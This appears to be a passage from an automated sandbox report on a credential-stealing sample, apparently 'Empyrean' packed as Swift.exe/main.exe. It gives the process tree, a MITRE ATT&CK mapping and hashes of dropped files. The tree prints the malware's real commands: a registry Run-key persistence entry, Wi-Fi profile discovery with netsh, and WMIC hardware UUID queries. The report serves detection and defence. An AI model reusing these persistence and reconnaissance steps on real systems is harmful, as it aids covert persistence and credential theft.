      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3836
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:916
- C:\Users\Admin\AppData\Local\Temp\Swift.exe
  "C:\Users\Admin\AppData\Local\Temp\Swift.exe"
  2⤵
  - Executes dropped EXE
  PID:4760

C:\Users\Admin\Downloads\Swift\Swift\Swift.exe
"C:\Users\Admin\Downloads\Swift\Swift\Swift.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:4340
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Executes dropped EXE
  PID:956
- - C:\Users\Admin\AppData\Local\Temp\main.exe
    "C:\Users\Admin\AppData\Local\Temp\main.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:2280
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:5056
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        
        PID:640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"
      4⤵
      PID:1780
    - - C:\Windows\system32\reg.exe
        
        reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f
        5⤵
        Modifies registry key
        
        PID:1356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"
      4⤵
      PID:5048
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:2936
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        
        PID:1880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:4668
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        
        PID:4528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
      4⤵
      PID:4652
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3272
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        5⤵
        
        PID:3544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1268
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1916
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3204
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1404
- C:\Users\Admin\AppData\Local\Temp\Swift.exe
  "C:\Users\Admin\AppData\Local\Temp\Swift.exe"
  2⤵
  - Executes dropped EXE
  PID:4668

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\@[email protected]

Filesize
585B

MD5
72427c8cdf22c61584aaa48a9afcfd32

SHA1
fae7a53ffb44db07deb4092d36d6d08df4758164

SHA256
006778f8089dede0917bfc8540eecb7fe0dca34ea7fe4217ac5e6713fd4be01e

SHA512
042d54fe36c802909926f78413f6da915704e0dc367bad19473397f969b51f8ea1f410197ef84adace7eea9b872fe687582b8c5f27fccb72915ffa681015747f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8749e21d9d0a17dac32d5aa2027f7a75

SHA1
a5d555f8b035c7938a4a864e89218c0402ab7cde

SHA256
915193bd331ee9ea7c750398a37fbb552b8c5a1d90edec6293688296bda6f304

SHA512
c645a41180ed01e854f197868283f9b40620dbbc813a1c122f6870db574ebc1c4917da4d320bdfd1cc67f23303a2c6d74e4f36dd9d3ffcfa92d3dfca3b7ca31a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
34d2c4f40f47672ecdf6f66fea242f4a

SHA1
4bcad62542aeb44cae38a907d8b5a8604115ada2

SHA256
b214e3affb02a2ea4469a8bbdfa8a179e7cc57cababd83b4bafae9cdbe23fa33

SHA512
50fba54ec95d694211a005d0e3e6cf5b5677efa16989cbf854207a1a67e3a139f32b757c6f2ce824a48f621440b93fde60ad1dc790fcec4b76edddd0d92a75d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000018

Filesize
64KB

MD5
d6b36c7d4b06f140f860ddc91a4c659c

SHA1
ccf16571637b8d3e4c9423688c5bd06167bfb9e9

SHA256
34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92

SHA512
2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000019

Filesize
67KB

MD5
69df804d05f8b29a88278b7d582dd279

SHA1
d9560905612cf656d5dd0e741172fb4cd9c60688

SHA256
b885987a52236f56ce7a5ca18b18533e64f62ab64eb14050ede93c93b5bd5608

SHA512
0ef49eeeeb463da832f7d5b11f6418baa65963de62c00e71d847183e0035be03e63c097103d30329582fe806d246e3c0e3ecab8b2498799abbb21d8b7febdc0e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00001a

Filesize
19KB

MD5
1bd4ae71ef8e69ad4b5ffd8dc7d2dcb5

SHA1
6dd8803e59949c985d6a9df2f26c833041a5178c

SHA256
af18b3681e8e2a1e8dc34c2aa60530dc8d8a9258c4d562cbe20c898d5de98725

SHA512
b3ff083b669aca75549396250e05344ba2f1c021468589f2bd6f1b977b7f11df00f958bbbd22f07708b5d30d0260f39d8de57e75382b3ab8e78a2c41ef428863

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00001b

Filesize
63KB

MD5
226541550a51911c375216f718493f65

SHA1
f6e608468401f9384cabdef45ca19e2afacc84bd

SHA256
caecff4179910ce0ff470f9fa9eb4349e8fb717fa1432cf19987450a4e1ef4a5

SHA512
2947b309f15e0e321beb9506861883fde8391c6f6140178c7e6ee7750d6418266360c335477cae0b067a6a6d86935ec5f7acdfdacc9edffa8b04ec71be210516

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
2f5837c6a57beb8901f84ec9b617ee74

SHA1
471932dbbed7a5e17b901a1254622e16b9d624f4

SHA256
f7902b9425a0342042afb3954ab05a3b120acfd7c2416df45d11f4fb86392459

SHA512
08c822c80a3117da242bdb6f8314ba0067154dbdaf0b69a797e7518eef87fcc82623b5df4bcf885aa70b23435f45433e0b80506d31a0fa803cc7044834b12632

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
360B

MD5
129bafe860553a8ff9b702b28016bef6

SHA1
32a4f7f4de41cf44cab1dc61b3523d0ce5be68ab

SHA256
d6462c698bab710a3e7d5795c231e1107c28b8364809af7c122e46ef0a9a78bf

SHA512
d64d299f31f26ff408a55fa947232a382a0ff43cb966890e145bd8d36b694969fb4ad9f94b10c99f4e81e6acb2a34723cad3efcfdabe649f78c9eaa5309fecb1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
14e2c3b923e36a526997cd29f3dc184c

SHA1
33e0c80cb7587ce722dba8ab99b3fb4841b4b377

SHA256
69fa6db643d1fd520bc5488c87c83c16a8fc0de6bd4aac76492fde1b91eb065d

SHA512
08ce8617a5b19145d8b483ebd8fe824201dc9ff6a05d95ea7eb92b1cd8eee13bc26f1a6f5bd4af44e28173345a67a7117f060aa2be5752dd51f9668b26d3c19e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
3KB

MD5
027c557214fe07405d0b8858fe5f01ff

SHA1
b3f01c56a51063d8c72e2f12d5bbbe87971adf81

SHA256
94413b91c4e8147392a4322c475e472f9f7eef6d6e2b9755fbab473b0b1d7bdf

SHA512
faa34ae68e70adf34aad8ac49cddc13d8d79ee6089332eb16dea751b443665f54fdc2edcae1ba6401d654f3472cf5680c5207ac4ff22f7c36646f5a24cb52f83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
0c56edd9c04a5db00bcb162bfbbab01d

SHA1
29a3166e46cfc7c0f5619f1e59099cada5b349ad

SHA256
6b185fe7564a35660574b7f697c566bea790af0d3c3315b8a422a712b57c2bb5

SHA512
d00dd752c87767e861d508afb75af0a992e20142ab842b4770d9e1641308bddb245e062632ebfaf50cb1a4539e36facd131e45b6bc2cc83bdbeef83799438318

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
73f8938ee98c9c6d3bd7e4452929125f

SHA1
75c4f373a1ff4967f96b9e18eb77468d476adc36

SHA256
855e76989086879ed8869b7ca79e492c3f265161c73fda19d6131f6c7e6e0248

SHA512
083a70955932df93a7da55ebdde63a43b10442f167884e88d5d35cedd1dd4b65bb40d7af77bbae6ad4ed77201d42fd98d0b6a3d15f660f7eee8ec764d295c438

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
575bec70988f71557bd73e9e218b8901

SHA1
51b64aca88f9ce2e2ce84d83aa7893effe7bb857

SHA256
866c86f04ba4d962d7c9436eb447859a4fe21947e581860759d2fd42e76122ef

SHA512
3d0dc09d0ebff034d3999966cf8986040a745e779bc65f3c014cb88f6d6101bba16be851bb6c3630d8c867399442d5838294af3bff10b5cab6eae13d98d702c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
5c02a02437cada48d0fcbe2304d83c4a

SHA1
77045ee624fffbd36debba7936b98091118139dd

SHA256
a2d48749a7f9610e185425de0e54286cb978eee0824649a0938eb32975a9486b

SHA512
4c19fad8346872aa2174624a6036bead53cf151133133a2447c17e9f6a2d282f120b085ee8b714bc6eb34c8f7cd57aaddde580016333d73d1f49040d11320c52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
65f3aaf4b63912c803748ea6da8adce1

SHA1
72384f406e11f1144b4762b7498c7acfdbe44dc6

SHA256
c1de9b3a1a3e12804591de8a28ce049b13ee802c9bea8537fadc88f2c4844b4b

SHA512
d0603802444fca1f39f183717de65a9cd56d561e2cd09d555785077b5de820c45bf3ff5984660324cc0e4115ef3f06a6f52fb1a9a61b79710080639c05b09772

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
218183665faf4c9f7796b665a6b07874

SHA1
9bc3051e6ed140474984c704d4eca1b088492ec3

SHA256
b294e3e6a6a1c407d3f8c22b73b928553bcfa8c9b3ac58b093d070cbf0badd83

SHA512
5401f1f0023fbf9e06e70b19209737964f8f52e058a1e7be44709749c2bec9a9a64876bc07561674a86eca2e6adf104fafc474849b285d96a4d5e82e539aede9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
16f7a4fc50b6a09b0d9eed9282550de0

SHA1
295a34b69675f93ff53de068c5b2d1c1fbeee22a

SHA256
300f4074f60302cdff0d138a5a9b53535c92839db638aa64f65957131fe22966

SHA512
ec58dc4b3b46544a03e9988f8c7340f55eaf413b1e294fa0a2c6a90dedf786779ec4a36a250e291ad5d507c0206980b9d73b1b7c55e0d8965adb981c23cd5925

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
f8cc5c53683e82ec3005a064e92e5fb5

SHA1
abfa5fe8ed1071aa81f87bc443b08a108de04b5a

SHA256
45cb35c7e33534d74edb761bf1f6f0faf53a0c4ae7c2157ec95cc1f15e7d2c74

SHA512
c305b671e2f6698ae3ef381cd757537509416e3245b9f0ff15f510782a8f54411fe9824705f2774b10882b40cabcc183bb517f330015a53da62db28afaf7fa91

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
ab6d492aa16fba30bab73d4270a58d54

SHA1
8b50f9dfe08125ef782d1a864452c8d4b89dd5ea

SHA256
0200bf1f50aa2cb26efc8264c93675b7a49441a879559b575c354f90091681e7

SHA512
2c680d8d598233199d690e9adf214171777ec710410a4c644c1741b6da99413e18c8f75941d6fb80e8a6e15d214d7d14286275db97fe765df0a65519ca6f4518

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
e94a7dbbed139ad7d325951a18a52289

SHA1
21973fdc5726971389d98cdaa25ccc2893eff71e

SHA256
89fb1357aafc28677649e0b062bc6a1ed971dc17d7d4f1ace0c5c71d89ce2ca5

SHA512
3305255c54e30723f6a2d44a1eb57951f261a889fe918b27c61cbb0cabf6b6dc04036e35b28c228708bc3ace70db1a0babbaf80768f5ff2616e1bf6b9b2fef46

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe591e9a.TMP

Filesize
538B

MD5
4dae608cc9cebc60f3c613ca26543e24

SHA1
8c710b24f20599493ae78be9eb4ed19970ba0bde

SHA256
400b0372e082b704105ec1d7c525e5113fe0f8b90cb3fd44123c44f8a9107d5f

SHA512
9f9d25d0495d7ea060aed7c8e845832c23696ca054ecc7cf16c6e1dc7b8b3abbe52a026b42a437373c5c8ee771713ee87762ecfc446e0491ffb57223c9b87be9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
33e3bf06cd5fc04bb7d03a361178e88f

SHA1
abbd701a9e44e06895e078535448d800a6a1b269

SHA256
79bdd61caad905e55fe88076e27a3fbdd6294eb7a9a51524cb6705987904cd8d

SHA512
9b34991b840939d53e7d1a9a1735924184e910d0d77c49f6ae06dad64c24f2a6c4789e247d945d54cafac58037683e5e8c039e4b5bfb236b570f60dc5204bc78

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
902092738c2a6acdc65d5407a7068682

SHA1
c4da71366b6c3340c38fba83c27f7b7e351b3fee

SHA256
384fb320d63ca0147f71f9ea7552bf96be66a2027dee18ad4cc719d6f650a269

SHA512
742f0c858c17f61423607ec1d99678b8d62e88ee420ca0bb7fc9208a6ef3b3e295e4f89e0acb473e2dff45dba2f4258a9e391bfe8f403869a574646939f12eb7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
538cde7caf8a4bc6e48f7b439e10bead

SHA1
90c309cd8738996c76b502425606582eae46d23a

SHA256
f2db68230956cc1a07185b0f4ea6699f2ba59379f48c2350bb696322a8670afc

SHA512
6da21630f3e81529b4fa8793d42a500d4f9df4cac6b56f908165f30e72e91ec570d08608c28895db0764e0fad4eb894be8a75f494d6d1de2fe6deb5693bb19e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3957a45e506ac21db6b6551a38f323f6

SHA1
b965a6274f357eacea8e843f14720455ca0a3d37

SHA256
51bf50a8fbb4da4ddd8c628752d6465e503afd5b0e2a0e19858b6ca730e1b01d

SHA512
8bd23af596abc039fff0dd1190d7eee728e0eb85aa678dbc3c0b8307d95be4e328fed93a8caa7baefe637d2696ab114ce7a345963186b46b370de90d22eb6c29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
049f59193b36e625436a759747fbc6e1

SHA1
e3eb09f60c9f4c8f1fdef0ff4560b42af4837341

SHA256
f508c7c077a0ed38f19b7cd1aff794c20020345ab07326da966caa4674c136ca

SHA512
eef0234ce7cf5d2a073ae0bb09fd34fb3c02e0f373b9dd861ec573bcdbb1843509825511f9788726127aa4d12d5edd34f19d2358caf8e8cea38caa265917db01

Download Submit
C:\Users\Admin\AppData\Local\Temp\Swift.exe

Filesize
13.0MB

MD5
1f22eb0a0742c95cec82a91205411797

SHA1
c36230783fb1039857a99e401ded02158c955360

SHA256
a6392ee4b34c64a366500cb050478049560e6acbb02c20077d38f3d5ee5497d1

SHA512
c29201c7ef9a63268731d73511fbeb2f694749677bee45b38fb2b9d9db7dfe382f8bd8e6ad2191379d69ed116f2a6fdbf48cf2c437bae935cfe03a7df131171a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\VCRUNTIME140.dll

Filesize
117KB

MD5
862f820c3251e4ca6fc0ac00e4092239

SHA1
ef96d84b253041b090c243594f90938e9a487a9a

SHA256
36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

SHA512
2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\VCRUNTIME140_1.dll

Filesize
48KB

MD5
68156f41ae9a04d89bb6625a5cd222d4

SHA1
3be29d5c53808186eba3a024be377ee6f267c983

SHA256
82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd

SHA512
f7bf8ad7cd8b450050310952c56f6a20b378a972c822ccc253ef3d7381b56ffb3ca6ce3323bea9872674ed1c02017f78ab31e9eb9927fc6b3cba957c247e5d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_asyncio.pyd

Filesize
39KB

MD5
329eed4dd8abe8c092b6bec8f0a0314f

SHA1
9579aae12fd05073cccba7a1f1ade5577f22699c

SHA256
deab35769e12d7f86133d14dc70410de022a91c13761dcaa91b3615b835b52b9

SHA512
bbe383d9c4df41ad9184770e29e9ddbe235fa51f56f151ad37a52121eb9f8921f49ea1b42010b727822e54939b9fe60ff8f190d14daa6a3f84ee48dcab9b2acc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_bz2.pyd

Filesize
50KB

MD5
a8f69771d13c4c1aa71819d239018133

SHA1
b3b0f02ac73e84e38da344415dd396aae9a21c41

SHA256
47fe228f22c19e11ffd5c98b5c82f1bf2a6a00f66aeb943a22fae8679b523c4f

SHA512
5ea106b09cbd2342e7f440a4f184673a80d57b43b711d18af8cd4799a4b2e508a229b6431781798f120c0dc8ed3057f2f745338aaafb52b89d32c939b55cd90a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_ctypes.pyd

Filesize
63KB

MD5
3d284e6817657f3be256b797812495b9

SHA1
e279968705d161734070d6ff1eab36ac1b7310c3

SHA256
45a69a728aab787ecaa1ba5716e08bbfbba09d95dd52dabf9b044c5702382a0f

SHA512
7c2809ac30e1b49898287b3682ac841bf8b740742b21073629947a6cabd55e5324e677ea1aa0f3d748ec09b8f99e02c34e62e266e8ebb070ddbb4fbfca6bc649

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_decimal.pyd

Filesize
119KB

MD5
0ca8b0ed90ae455239ffd7caac07431a

SHA1
8b266e26ce89dd44b41afefa45f5a6757168fd22

SHA256
5008e9353a2ee9a087d1b4d9280755feff38b694423ed5e3d2b8d3a7790b6bf4

SHA512
b7c9c125abfbdfc380bb7d80316debbb16b309723b4e1107db76f5b03d4bce348bfeb6ae44b597708f814441ad3958494d93e6b8e5b36ede778886fc8c846255

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_elementtree.pyd

Filesize
62KB

MD5
5d8100fad42bbc8bdd6a005d612ebe1f

SHA1
cb8ada68e679ea5344be64bde323c7f6762218a9

SHA256
c19bb2f46d3a0b732c27458caa2259a40e9490c059106ec4272e73c56b267413

SHA512
77076e21082e60b5209a2831129f358e7809e524bc4945ccd64ec7d3b8a6d1667539de25091c31b9838e0c4b3ac03329b6ab8e93c1d42cee75cbd742e6fccc1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_hashlib.pyd

Filesize
36KB

MD5
a1839084f158deba617c247af3d7a5aa

SHA1
0d3a7551c0bc411cb337881e3740d5110e2bca08

SHA256
4c0a2db64b8b9a4f42aa00ae136d47f71905862b61f204e089700662ae1948e7

SHA512
dcef02fea5e921aef62bb81ade70407245684b7e7216f06d41e8cdd0485d339f79e02d548dbf8153d9796d0df001fb201616a483a06216cc2bf06c831abbf22b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_lzma.pyd

Filesize
87KB

MD5
1f060dcf0648d22ae5f17249b29bb299

SHA1
19cefff5b434972481acd2963c1969c7b67e1b0c

SHA256
51e8e190bab082fb4e604230410416ea3391a11a69f79778a8a1efb64bc9c20f

SHA512
89833abef5570b8e5555822b3b77f118bec9cf82d43972566edace3c0e57ab90a3d7e49132b2db3d11b756e2a0e00cbd1e9ffbdf7a7135a7e258cbdcc3213a3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_multiprocessing.pyd

Filesize
28KB

MD5
2ae2ffe3b28df6b9123c9b3f2974a452

SHA1
ff5281830633b750e58a867aae0caca3f94a4b77

SHA256
29471d4cf55aaffd9e999c4be101b4c2d247bbe2dd995c591f696bc1fa0faba2

SHA512
13b00a3f91a11874a0871b2059487aceed7e01e2a0dd3950e412f69b0806fa138057d2f958569039cb23639daf82e7f99ece0a1820c6632229fda2f306fa213e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_overlapped.pyd

Filesize
35KB

MD5
df017762908588370efd3d1069f52f6d

SHA1
7d94de555ebbbca03fbf03f1cce4b004db9ec16a

SHA256
7ce6daafb7cd57cb1ccfc35d599b9f43ada0c51adfdfccba9230866e5532c2d0

SHA512
17fb7c58b348477d0dbca12db91532e3ab2a87985e582634503a09394dbeffb2a0ab9988cc6c10e75dd217f05b60c1e2966f74dfb5e485c3aa1ad0134589d933

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_queue.pyd

Filesize
28KB

MD5
ebf76eefae7d1b89c26f6891f0243c7d

SHA1
9291f0c6eba45a2ca47fe9244e18bc046341a716

SHA256
e8a39fc255218911aabdbd235d375650ffb921c99e56bfd36bd0034669849da4

SHA512
d1b5fc42d5ff21ecfbd41c2aa145e2e94046b4d7c548dda0960fb104a1613696708d9b3a2e5be3f76358fec4967f15467d98d107e27d64180e7a9856d4c22996

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_socket.pyd

Filesize
45KB

MD5
6be0375bd2961348bd57c819fe0f8676

SHA1
7fa7bf6d5006d761670d38679b74c2420eeab936

SHA256
dc58942f4dde9ebb14c49c3897a08031dbd9eca066e00136c514749d49234fa9

SHA512
acaf45f2cfa59d47004a0ee9892b7cc201d7d7df12a1944938c1a4f1349b183bae09d12fcdd03e6b4fe6aa9f137227e1d988cb8e8d2050fa401f3f7e69c82d4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_sqlite3.pyd

Filesize
60KB

MD5
3166281b610dc12df8efd906c3ccec1a

SHA1
c2f20252f28d0783fc3a51e452f25119f869a362

SHA256
10e6c69793773c48c005d589f1d7f566a49485a87b71052652f8248e372fc320

SHA512
40d137bff56fe0e00ad8da43bb4a8d0efc5f1b8e64aae4ad62ca4e770f9d5d2afb4c1290743c03fb29bf68226a68e8527990e43adb99e1e81a5ea9e14e58afc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_ssl.pyd

Filesize
68KB

MD5
7e0cca69f06f56a15e1737643aa3636b

SHA1
47f072584451fc53c12895a4f1f2125157ee1052

SHA256
7958f459103618bcef08f4bee61baecd41dc4648eac3afe2b8151d36706345aa

SHA512
ed182ba195ede82e394d82f97d06330f39152922cda0daa1d93bacda518ac5f024b217c340fbe6a4703d8d7137289b6e9e15d73cad3a9aaa2a3f7095e2a81e52

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_uuid.pyd

Filesize
27KB

MD5
b5f2d9353f758e1a60e67dac33debdd2

SHA1
edae6378d70b76846329fa609483de89531bcf16

SHA256
cde836ef0bde1c15c1c3750de54b50d2285864c512abbfc9e2c94f0ff5aa5ca2

SHA512
9d780a8ec760c6bae3b53079c9a0670c7cbf2af6aababda0234ee71c5e0546b501cbe9666d973eaa28fb7fb7285814ecfece98d20cf4a86d3aea9a61a8120397

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\_wmi.pyd

Filesize
30KB

MD5
914cda90b8dff7dcc7c146cc26629b45

SHA1
f3de688f17b3964be710b96f99c61ee7710505c0

SHA256
097723da693fa3489e51930f43cb30bcfc53e3ad8aa2eea4479c9c624f8a7197

SHA512
b6f1bb0f9f925321b0f724133580fb9bf0b7c1e1d0d42e0dac39c823dcbe25f89daeb68b39c059a3439ebd131c47f9fc7589b6f4b205a21430e3f9a144f1e117

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\base_library.zip

Filesize
1.3MB

MD5
18c3f8bf07b4764d340df1d612d28fad

SHA1
fc0e09078527c13597c37dbea39551f72bbe9ae8

SHA256
6e30043dfa5faf9c31bd8fb71778e8e0701275b620696d29ad274846676b7175

SHA512
135b97cd0284424a269c964ed95b06d338814e5e7b2271b065e5eabf56a8af4a213d863dd2a1e93c1425fadb1b20e6c63ffa6e8984156928be4a9a2fbbfd5e93

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI46762\libcrypto-3.dll

Filesize
1.6MB

MD5
